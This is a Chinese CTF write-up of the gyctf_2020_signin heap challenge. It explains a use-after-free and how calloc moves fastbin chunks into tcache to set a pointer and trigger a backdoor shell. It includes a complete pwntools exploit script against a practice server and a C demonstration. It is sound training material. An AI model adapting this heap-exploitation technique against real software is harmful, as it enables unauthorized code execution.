zoukankan      html  css  js  c++  java
  • gyctf_2020_signin:ubuntu18.04配合calloc产生的漏洞

    逆一下

    add函数,注意bss段有heaparray之类的东西,然后可以申请九次,然后add的时候无法向chunk写入内容

    delete函数,明显的UAF漏洞

    edit函数,只能用一次

    后门函数,ptr是bss段上的变量

    一开始的思路是劫持got表,因为是ubuntu18并且有UAF,可以直接利用double free来申请到atoi@got,然后改atoi@got成后门函数即可getshell,但是这样的操作至少需要两次写入的功能,第一次改写free chunk的fd指针,第二次是改写got表项,所以无法完成,就gg了,看了wp,又学到了新姿势。

    后门函数里的那个calloc很诡异,也没有指针来接受返回值,所以是可以被利用的
    calloc分配堆块的时候,不会从tcache bin里取堆块
    这意味着当我们calloc分配堆块时,假如tcache和fastbin都有堆块,那么calloc会从fastbin里去拿。在有tcache bin的情况下,从fastbin/smallbin里去取堆块,管理器就会将剩余的fastbin堆块链入到tcache bin中。
    在文末写个实验来验证一下

    所以我们可以这样利用:
    1,申请8个chunk,然后全部free,这时fastbin 1,tcache 7
    2,然后add一个堆块(malloc),这时fastbin 1,tcache 6
    3,利用有且仅有一次的edit功能编辑fastbin堆块的fd指针为ptr-0x10(使ptr作为一个fake chunk的fd pointer):本质是利用了UAF漏洞(free的堆块依然可以edit)
    4,调用后门函数,calloc会将fastbin里的唯一一个堆块分配出去,然后将fake chunk链入到tcache作为tcache[7],同时将fd设置为tcache[6]的address,这时fd不为空,即ptr不为空,可以调用system getshell

    exp:

    from pwn import *
    import time
    
    '''
    author: lemon
    time: 2020-10-27
    libc: libc-2.23.so
    python version:python2.7
    '''
    
    local = 0
    
    binary = "./gyctf_2020_signin"
    libc_path = '../libc-2.27.so'
    port = "29848"
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(index):
    	p.sendlineafter('your choice?','1')
    	p.sendlineafter('idx?',str(index))
    
    def free(index):
    	p.sendlineafter('your choice?','3')
    	p.sendlineafter('idx?',str(index))
    
    def edit(index,content):
    	p.sendlineafter('your choice?','2')
    	p.sendlineafter('idx?',str(index))
    	sleep(0.3)
    	p.send(content)
    
    dbg()
    
    elf = ELF(binary)
    libc = ELF(libc_path)
    
    atoi_got = elf.got['atoi']
    heaparray = 0x4040E0
    ptr = 0x4040C0
    
    print "============ step 1: add 8 chunks and free 8 chunks ============"
    print "[*]   now tcache is full and fastbin[0x80] has 1 chunk    "
    
    for i in range(8):
    	add(i)
    for i in range(8):
    	free(i)
    
    print "[*]   add 0x80 , because tcache is faster than fastbin, now tcache has 6 chunks now(alloca 1 chunk)"
    add(8) 
    
    print "============ step 2: call backdoor to get shell ============== "
    print "[*]   now fastbin has one chunk,when we alloca fasbtin,then the fastbin chain will go to tcache bin"
    
    edit(7,p64(ptr - 0x10))
    sleep(1)
    p.sendline('6')
    
    # gdb.attach(p)
    p.interactive()
    

    实验来验证一下

    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
    	void *p1,*p2,*p3,*p4,*p5,*p6,*p7,*p8;
    	
    	printf("now we alloca 8 chunks , then we will free p1 - p8
    ");
    	printf("then, p1-p7 will go tcache bin
    ");
    	p1 = malloc(0x20);	
    	p2 = malloc(0x20);
    	p3 = malloc(0x20);
    	p4 = malloc(0x20);
    	p5 = malloc(0x20);
    	p6 = malloc(0x20);
    	p7 = malloc(0x20);
    	p8 = malloc(0x20);
    	free(p1);
    	free(p2);
    	free(p3);
    	free(p4);
    	free(p5);
    	free(p6);
    	free(p7);
    	free(p8);
    
          calloc(1,0x20);
    }
    

    查看此时bins的情况

    最后calloc后,可以发现tcache bins依然是满的,说明calloc不会从tcache bin中去取chunk

    参考我之前的博客的tcache bin attack,里面做了好几个实验
    https://l3mon629.github.io/post/vandn2020-gong-kai-sai-easytheap/#tcache

  • 相关阅读:
    家谱树 x
    codevs 1231 最优布线问题 x(find函数要从娃娃抓起系列)
    洛谷 P1546 最短网络 Agri-Net x
    codevs 5969 [AK]刻录光盘x
    家谱(gen)x
    [POJ2594]Treasure Exploration(最小路径覆盖变种,floyd算法,匈牙利算法)
    [HDOJ5855]Less Time, More profit(最大权闭合子图,二分,最大流)
    [HDOJ1054]Strategic Game(最小点覆盖,最大二分匹配,HK算法)
    [HDOJ3829]Cat VS Dog(最大独立集)
    [HDOJ3488]Tour(二分图最小匹配,KM算法)
  • 原文地址:https://www.cnblogs.com/lemon629/p/13883865.html
Copyright © 2011-2022 走看看